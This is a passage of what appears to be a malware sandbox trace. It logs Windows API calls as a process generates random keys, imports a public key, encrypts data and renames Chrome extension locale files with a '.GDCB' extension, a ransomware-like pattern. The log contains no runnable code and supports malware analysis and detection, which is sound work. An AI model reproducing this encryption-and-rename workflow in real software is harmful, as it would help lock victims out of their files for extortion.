szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.329] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.331] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.331] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.331] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.331] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.334] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791d20) returned 1 [0258.334] CryptGetKeyParam (in: hKey=0x6791d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.334] CryptEncrypt (in: hKey=0x6791d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.334] GetLastError () returned 0x0 [0258.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.334] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.336] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791e60) returned 1 [0258.336] CryptGetKeyParam (in: hKey=0x6791e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.336] CryptEncrypt (in: hKey=0x6791e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.336] GetLastError () returned 0x0 [0258.336] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.336] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.338] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.341] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.344] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf9, lpOverlapped=0x0) returned 1 [0258.352] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.360] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json.gdcb")) returned 1 [0258.365] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.368] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.370] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.370] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.370] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.370] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.375] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.375] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.375] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.375] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.378] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791fe0) returned 1 [0258.378] CryptGetKeyParam (in: hKey=0x6791fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.378] CryptEncrypt (in: hKey=0x6791fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.378] GetLastError () returned 0x0 [0258.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.378] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.379] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67920a0) returned 1 [0258.380] CryptGetKeyParam (in: hKey=0x67920a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.380] CryptEncrypt (in: hKey=0x67920a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.380] GetLastError () returned 0x0 [0258.380] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.380] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.381] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.384] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.386] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf9, lpOverlapped=0x0) returned 1 [0258.394] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.401] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.gdcb")) returned 1 [0258.405] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.408] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.410] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.410] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.410] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.410] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.414] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.414] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.414] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.415] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.417] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791ae0) returned 1 [0258.417] CryptGetKeyParam (in: hKey=0x6791ae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.417] CryptEncrypt (in: hKey=0x6791ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.417] GetLastError () returned 0x0 [0258.417] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.417] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.419] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791fa0) returned 1 [0258.419] CryptGetKeyParam (in: hKey=0x6791fa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.419] CryptEncrypt (in: hKey=0x6791fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.419] GetLastError () returned 0x0 [0258.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.419] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.420] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.423] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.426] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x103, lpOverlapped=0x0) returned 1 [0258.435] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.448] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0258.454] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.457] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.459] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.459] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.459] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.465] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.465] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.465] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.467] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791de0) returned 1 [0258.467] CryptGetKeyParam (in: hKey=0x6791de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.467] CryptEncrypt (in: hKey=0x6791de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.468] GetLastError () returned 0x0 [0258.468] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.468] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.506] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67919a0) returned 1 [0258.510] CryptGetKeyParam (in: hKey=0x67919a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.510] CryptEncrypt (in: hKey=0x67919a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.510] GetLastError () returned 0x0 [0258.510] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.510] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.512] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.514] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.517] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x103, lpOverlapped=0x0) returned 1 [0258.526] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.534] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.gdcb")) returned 1 [0258.540] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.543] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.545] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.545] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.545] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.545] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0258.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.550] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.550] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.550] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.552] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67919e0) returned 1 [0258.553] CryptGetKeyParam (in: hKey=0x67919e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.553] CryptEncrypt (in: hKey=0x67919e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.553] GetLastError () returned 0x0 [0258.553] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.553] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.555] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67918e0) returned 1 [0258.555] CryptGetKeyParam (in: hKey=0x67918e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.555] CryptEncrypt (in: hKey=0x67918e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.555] GetLastError () returned 0x0 [0258.555] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.555] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.556] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.559] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.562] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfb, lpOverlapped=0x0) returned 1 [0258.569] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.576] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.gdcb")) returned 1 [0258.582] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.585] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.587] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.587] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.587] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.587] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 